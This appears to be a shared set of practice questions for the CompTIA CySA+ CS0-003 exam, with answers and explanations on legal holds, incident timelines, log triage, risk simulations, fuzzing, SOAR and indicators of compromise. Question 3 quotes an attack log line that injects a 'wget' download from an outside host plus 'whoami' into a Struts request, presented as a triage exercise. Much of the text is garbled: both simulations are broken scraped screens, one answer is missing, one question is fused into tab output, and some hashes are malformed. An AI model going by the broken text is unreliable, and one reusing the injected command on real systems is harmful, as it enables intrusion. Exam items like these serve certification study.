

# **Free Questions for CS0-003 by certsinside**

# Shared by Shelton on 22-07-2024

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# **Question 1**

#### **Question Type:** MultipleChoice

An organization receives a legal hold request from an attorney. The request pertains to emails related to a disputed vendor contract. Which of the following is the first step for the security team to take to ensure compliance with the request?

# **Options:**

- A- Publicly disclose the request to other vendors.
- B- Notify the departments involved to preserve potentially relevant information.
- C- Establish a chain of custody, starting with the attorney's request.
- **D-** Back up the mailboxes on the server and provide the attorney with a copy.

### Answer:

В

# **Explanation:**

The first step for the security team when receiving a legal hold request is to notify the relevant departments to preserve all potentially relevant information. This ensures that no data is altered, deleted, or otherwise tampered with, which is critical for maintaining the

integrity of the evidence. Preserving information includes emails, documents, and any other data that might be relevant to the legal matter. Establishing a chain of custody and backing up data are also important steps, but notifying the involved parties is the immediate priority to prevent data loss.

# **Question 2**

#### **Question Type:** MultipleChoice

Which of the following explains the importance of a timeline when providing an incident response report?

# **Options:**

A- The timeline contains a real-time record of an incident and provides information that helps to simplify a postmortem analysis.

B- An incident timeline provides the necessary information to understand the actions taken to mitigate the threat or risk.

C- The timeline provides all the information, in the form of a timetable, of the whole incident response process including actions taken.

**D-** An incident timeline presents the list of commands executed by an attacker when the system was compromised, in the form of a timetable.

# Answer:

### **Explanation:**

An incident response timeline is a detailed chronological record of all events and actions taken during the response to a security incident. It includes timestamps and descriptions of each step, providing a comprehensive overview of how the incident was detected, contained, mitigated, and resolved. This timeline is crucial for post-incident analysis, helping to understand the effectiveness of the response, identify areas for improvement, and ensure accountability and transparency in the incident handling process.

# **Question 3**

#### **Question Type:** MultipleChoice

An incident response team member is triaging a Linux server. The output is shown below:

\$ cat /etc/passwd

root:x:0:0::/:/bin/zsh

bin:x:1:1::/:/usr/bin/nologin

daemon:x:2:2::/:/usr/bin/nologin

mail:x:8:12::/var/spool/mail:/usr/bin/nologin

#### http:x:33:33::/srv/http:/bin/bash

nobody:x:65534:65534:Nobody:/:/usr/bin/nologin

git:x:972:972:git daemon user:/:/usr/bin/git-shell

\$ cat /var/log/httpd

at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:241)

at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:208)

at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:316)

at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)

WARN [struts2.dispatcher.multipart.JakartaMultipartRequest] Unable to parse request container.getInstance.(#wget http://grohl.ve.da/tmp/brkgtr.zip;#whoami)

at org.apache.commons.fileupload.FileUploadBase\$FileUploadBase\$FileItemIteratorImpl.(FileUploadBase.java:947) at org.apache.commons.fileupload.FileUploadBase.getItemiterator(FileUploadBase.java:334)

at org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultiPartRequest.java:188) org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultipartRequest.java:423)

Which of the following is the adversary most likely trying to do?

### **Options:**

A- Create a backdoor root account named zsh.

- B- Execute commands through an unsecured service account.
- C- Send a beacon to a command-and-control server.
- D- Perform a denial-of-service attack on the web server.

### Answer:

В

# **Explanation:**

The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.

# **Question 4**

**Question Type:** MultipleChoice

A regulated organization experienced a security breach that exposed a list of customer names with corresponding PH dat

a. Which of the following is the best reason for developing the organization's communication plans?

### **Options:**

A- For the organization's public relations department to have a standard notification

B- To ensure incidents are immediately reported to a regulatory agency

C- To automate the notification to customers who were impacted by the breach

D- To have approval from executive leadership on when communication should occur

#### Answer:

В

# **Explanation:**

Developing an organization's communication plans is crucial to ensure that incidents, especially those involving sensitive data like PH (Protected Health) data, are promptly reported to the relevant regulatory agencies. This is essential for compliance with legal and regulatory requirements, which often mandate timely notification of data breaches. Effective communication plans help the organization manage the breach response process, mitigate potential legal penalties, and maintain transparency with regulatory bodies.

# **Question 5**

#### **Question Type:** MultipleChoice

### SIMULATION

A healthcare organization must develop an action plan based on the findings from a risk

assessment. The action plan must consist of:

\* Risk categorization

- \* Risk prioritization
- . Implementation of controls

INSTRUCTIONS

Click on the audit report, risk matrix, and SLA expectations documents to review their

contents.

On the Risk categorization tab, determine the order in which the findings must be

prioritized for remediation according to the risk rating score. Then, assign a categorization to each risk.

On the Controls tab, select the appropriate control(s) to implement for each risk finding.

Findings may have more than one control implemented. Some controls may be used

more than once or not at all.

If at any time you would like to bring back the initial state of the simulation, please click

the Reset All button.

# **Risk categorization**

# Controls

Risk prioritization	Risk finding	Risk categorization	
Select 🗸	Improperly configured third-party websites pose security risks to internal assets.	Select 🗸	
Select 🗸	A large volume of ICMP traffic is detected from an external source to Server2.	Select 🗸	
Select 🗸	A large number of potentially malicious emails is reaching end-user and shared mailboxes.	Select 🗸	
Select 🗸	A list of patient prescription information was emailed to the incorrect recipient.	Select 🗸	
Select 🗸	The internet-facing web server allows access to data without requiring credentials.	Select 🗸	
Select 🗸	PHI data was found within the development and test environments.	Select 🗸	
Select 🗸	Sensitive materials were found on a fax machine in a common area.	Select 🗸	
Select 🗸	Unauthorized software was discovered on technician workstations.	Select 🗸	

Risk	
prioritiza	tion
Select	~
1	
2	
3	
4	
5	
6	
7	
8	
Select	

Risk categorization
Select ~
Low (0-4) Medium (5-9) High (10-25)

# **Risk categorization**

Controls

Control(s) to implement		
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Select control 🗸 🗸	Select control 🗸 🗸	Select con
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	Select control Select Control Select Select Control Select	Select controlSelect control

Select control Select co  $\sim$ Select control Require two-factor authentication Acceptance Implement web content filter Require data deidentification Implement DLP Filter echo request replies Implement email encryption Implement FDE on DB and file servers Implement mail filters Implement IAM program Implement IDS/IPS Implement file integrity monitoring Implement approved software listing Implement MDM solution Implement PIN to print Relocate devices to secured locations Implement SPF

### **Options:**

A- See the solution below in Explanation

### Answer:

# **Question 6**

#### **Question Type:** Hotspot

An organization has noticed large amounts of data are being sent out of its network. An

analyst is identifying the cause of the data exfiltration.

### INSTRUCTIONS

Select the command that generated the output in tabs 1 and 2.

Review the output text in all tabs and identify the file responsible for the malicious

behavior.

If at any time you would like to bring back the initial state of the simulation, please click

the Reset All button.

1	2	3	4	
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Active Connections					
	Proto	Local address	Foreign address	State	PID
	TCP	0.0.0:22	0.0.0.0:0	LISTENING	1000
	TCP	0.0.0:23	0.0.0.0:0	LISTENING	1235
	TCP	0.0.0.0:443	0.0.0.0:0	LISTENING	1466
	TCP	0.0.0.80	0.0.0.0:0	LISTENING	1566
	TCP	127.0.0.1:1960	127.0.0.1:22	ESTABLISHED	2001
	[sftp.exe]				
	TCP	192.168.10.21:38666	41.21.18.102:22	ESTABLISHED	3918
	[sftp.exe]				
	TCP	192.168.10.21:8447	66.207.110.49:https	ESTABLISHED	2677
	[svchost.exe	∋]			
	TCP	192.168.10.21:55356	31.10.100.7:https	ESTABLISHED	3467
	[cmd.exe]				
	TCP	192.168.10.21:37654	192.168.10.37:http	ESTABLISHED	1722
	TCP	192.168.10.21:55357	32.111.16.37:22	TIME_WAIT	0
[notepad.exe]					
	TCP	192.168.10.21:52744	32.111.16.37:22	TIME_WAIT	0
	TCP	192.168.10.21:56751	32.111.16.37:22	TIME_WAIT	0
- 14					

ß

Select the command that generated the output in t	ab 1:
Select command	~
Select the command that generated the output in t	ab 2:
Select command	~

Identify the file responsible for the malicious behavior:

- calendar.dat  $\bigcirc$  cmd.exe
- ⊖ sftp.exe

- calc.exe
- explorer.exe

○ svchost.exe

 $\bigcirc$  users.txt

	1	2	3	4	
--	---	---	---	---	--

Active Conn	ections			
Proto	Local address	Foreign address	State	PID
TCP	0.0.0:22	0.0.0.0:0	LISTENING	1000
TCP	0.0.0:23	0.0.0.0:0	LISTENING	1235
TCP	0.0.0:443	0.0.0.0:0	LISTENING	1466
TCP	0.0.0:80	0.0.0.0:0	LISTENING	1566
TCP	127.0.0.1:1960	127.0.0.1:22	ESTABLISHED	2001
[sftp.exe]				
TCP	192.168.10.21:38666	41.21.18.102:22	ESTABLISHED	3918
[sftp.exe]		<i></i>		0.677
TCP	192.168.10.21:8447	66.207.110.49:https	ESTABLISHED	2677
[svchost.ex T(Select				2467
netstat			ESTABLISHED	3467
Tasklis	st		ESTABLISHED	1722
Tonet sto			TIME_WAIT	0
[ <sup>r</sup> arp -a	-			
<sup>TC</sup> nslooku	a		TIME_WAIT	0
taskkil	•		TIME_WAIT	0
cmd				
	ig /reset		Identify the file	e responsible for the malicious behavior:
Theour	lg /leset		ŕ	
Select	command	~	<ul> <li>calendar.</li> </ul>	dat O cmd.exe
			⊖ sftp.exe	calc.exe
Select the command that generated the output in tab 2:			<ul> <li>explorer.</li> </ul>	exe 🔿 users.txt
Qalact.				
Select	command	~	⊖ svchost.e	exe

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Select command

P	coto	Local address	Foreign address		State	PID
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T	CP	0.0.0:23	0.0.0.0:0		LISTENING	1235
T	CP	0.0.0:443	0.0.0.0:0		LISTENING	1466
T	CP	0.0.0:80	0.0.0.0:0		LISTENING	1566
т	CP	127.0.0.1:1960	127.0.0.1:22		ESTABLISHED	2001
[\$	sftp.exe]					
T	CP	192.168.10.21:38666	41.21.18.102:22		ESTABLISHED	3918
[1	sftp.exe]					
T	CP	192.168.10.21:8447	66.207.110.49:https		ESTABLISHED	2677
[1	svchost.ex	e]				
T	CP	192.168.10.21:55356	31.10.100.7:https		ESTABLISHED	3467
[(	cmd.exe]					
T	CP	192.168.10.21:37654	192.168.10.37:http		ESTABLISHED	1722
T	CP	192.168.10.21:55357	32.111.16.37:22		TIME_WAIT	0
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	netstat	od- t			, í	
	arp -a				<ul> <li>calendar.</li> </ul>	dat
	nslooku	ıp			0 <b></b>	
	taskkil	ll /FI			⊖ sftp.exe	
	cmd				○ explorer.	exe

sible for the malicious behavior:

- $\bigcirc$  cmd.exe  $\bigcirc$  calc.exe
- $\bigcirc$  svchost.exe

 $\sim$ 

- $\bigcirc$  users.txt

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3

Image Name	PID	Session Name	Session#	Mem Usage
			=======	
Cmd.exe	3467	Console	0	18,020 K
sftp.exe	2001	Console	0	17 K
sftp.exe	3918	Console	0	1,788 K
svchost.exe	2677	Console	0	188 K
calc.exe	1677	Console	0	11 K
notepad.exe	•	Console	0	0 K

Select the command that generated the output in tab 1:

Select command

Select the command that generated the output in tab 2:

Select command

Identify the file responsible for the malicious behavior:

○ calendar.dat

 $\bigcirc$  cmd.exe

o sftp.exe

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explorer.exe Ο

- $\bigcirc$  calc.exe
- users.txt

○ svchost.exe



#### > Get-ChildItem | Get-Filehash -Algorithm MD5

Algorithm	Hash	File
MD5	372ab227fd5ea779c211a1451881d1e1	cmd.exe
MD5	173ab22a5d5ea87bb212c14588aad4c2	calc.exe
MD5	412aba2efd5ea759c2112b451881affe7	explorer.exe
MD5	df6ab147fd5ecb79c331a146f8dad199	users.txt
MD5	212ac257fd5ea7f9c337ba22bab1d1f5	calendar.dat
MD5	10ad132ffed0217c6c3854a22bab215c6	sftp.exe
MD5	33c141f5ed107bcdd39952d2ba111401	svchost.exe

Select the command that generated the output in tab 1:

Select command

Select the command that generated the output in tab 2:

Select command

# Identify the file responsible for the malicious behavior:

○ calendar.dat

 $\bigcirc$  cmd.exe

o sftp.exe

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~

explorer.exe 0

 $\bigcirc$  calc.exe

○ users.txt

○ svchost.exe



#### The baseline hash signatures are:

#### File Hash a2cdef1c445d3890cc3456789058cd21 555a1bba5d5e6eebb21fe12388ab3221 412aba2efd5ea769c2112b451881affe7 90521cc7fd5ea7f9c337ba210eedd1c1 3ab21266fd00a7cbc3855a22bab213ba 10ad132ffed0217c6c3854a22bab215c6 33c141f5ed107bcdd39952d2ba111401

cmd.exe calc.exe explorer.exe users.txt calendar.dat sftp.exe svchost.exe

# Select the command that generated the output in tab 1:

Select command

Select the command that generated the output in tab 2:

Select command

## Identify the file responsible for the malicious behavior:

○ calendar.dat

 $\bigcirc$  cmd.exe

sftp.exe  $\bigcirc$ 

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- explorer.exe  $\bigcirc$
- svchost.exe

- $\bigcirc$  calc.exe
- users.txt

	2 3 4	2		
		4		
Active Con	nections			
Proto	Local address	Foreign address	State	PID
Answer:	0.0.0.0:22	0.0.0.0:0	LISTENING	1000
TCP	0.0.0.0:23		LISTENING	1235
TCP	0.0.0.0:443	0.0.0.0:0	LISTENING	1466
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING	1566
TCP	127.0.0.1:1960	127.0.0.1:22	ESTABLISHED	2001
[sftp.exe]	192.173.10.21:38666	41.21.18.102:22	ESTABLISHED	3918
<b>Juesti</b>	ווק /	41.21.10.102.22	ESTABLISHED	3370
TCP	192.168.10.21:8447	66.207.110.49:https	ESTABLISHED	2677
uestion Typ	e: <u>1921166016.5155358</u>			
	192.168.10.21:55356	31.10.100.7:https	ESTABLISHED	3467
[cmd.exe] TCP	192.168.10.21:37654	192.168.10.37:http	ESTABLISHED	1722
TCP	192.168.10.21:55357	32.111.16.37:22	TIME_WAIT	
A company		application in its in	ternal netwol	ork, where internal customers can communicate with the service desk. The
sectifity tea	m193ele6039r61e53340re	the application will	berable to ha	nandle unexpected strings with anomalous formats without crashing. Which
of the teller	192.168.10.21:56751	32.111.16.37:22	TIME_WAIT	e application to find how it would behave in such a situation?
			U U	
Select th	e command that generate	d the output in tab 1:	Identify the fi	file responsible for the malicious behavior:
	command	~	<ul> <li>calendar</li> </ul>	ar.dat O cmd.exe
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A- F <mark>uzzing</mark> B- Coding i C- Debuggi	i /FI Teview <sup>et</sup> ing	d the output in tab 2:	<ul> <li>svchost.</li> </ul>	t.exe
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#### Answer:

А

# **Explanation:**

Fuzzing is a process used to test applications by inputting unexpected or random data to see how the application behaves. This method is particularly effective in identifying vulnerabilities such as buffer overflows, input validation errors, and other anomalies that could cause the application to crash or behave unexpectedly. By using fuzzing, the security team can ensure the new application is robust and capable of handling unexpected strings with anomalous formats without crashing.

# **Question 8**

**Question Type:** MultipleChoice

A SOC analyst determined that a significant number of the reported alarms could be closed after removing the duplicates. Which of the following could help the analyst reduce the number of alarms with the least effort?

# **Options:**

A- SOAR	
---------	--

B- API

C- XDR

D- REST

#### Answer:

А

## **Explanation:**

Security Orchestration, Automation, and Response (SOAR) can help the SOC analyst reduce the number of alarms by automating the process of removing duplicates and managing security alerts more efficiently. SOAR platforms enable security teams to define, prioritize, and standardize response procedures, which helps in reducing the workload and improving the overall efficiency of incident response by handling repetitive and low-level tasks automatically.

# **Question 9**

**Question Type:** MultipleChoice

A list of IoCs released by a government security organization contains the SHA-256 hash for a Microsoft-signed legitimate binary, svchost. exe. Which of the following best describes the result if security teams add this indicator to their detection signatures?

### **Options:**

- A- This indicator would fire on the majority of Windows devices.
- B- Malicious files with a matching hash would be detected.
- C- Security teams would detect rogue svchost. exe processes in their environment.
- D- Security teams would detect event entries detailing execution of known-malicious svchost. exe processes.

## Answer:

А

# **Explanation:**

Adding the SHA-256 hash of a legitimate Microsoft-signed binary like svchost.exe to detection signatures would result in the indicator firing on the majority of Windows devices. Svchost.exe is a common and legitimate system process used by Windows, and using its hash as an indicator of compromise (IOC) would generate numerous false positives, as it would match the legitimate instances of svchost.exe running on all Windows systems.

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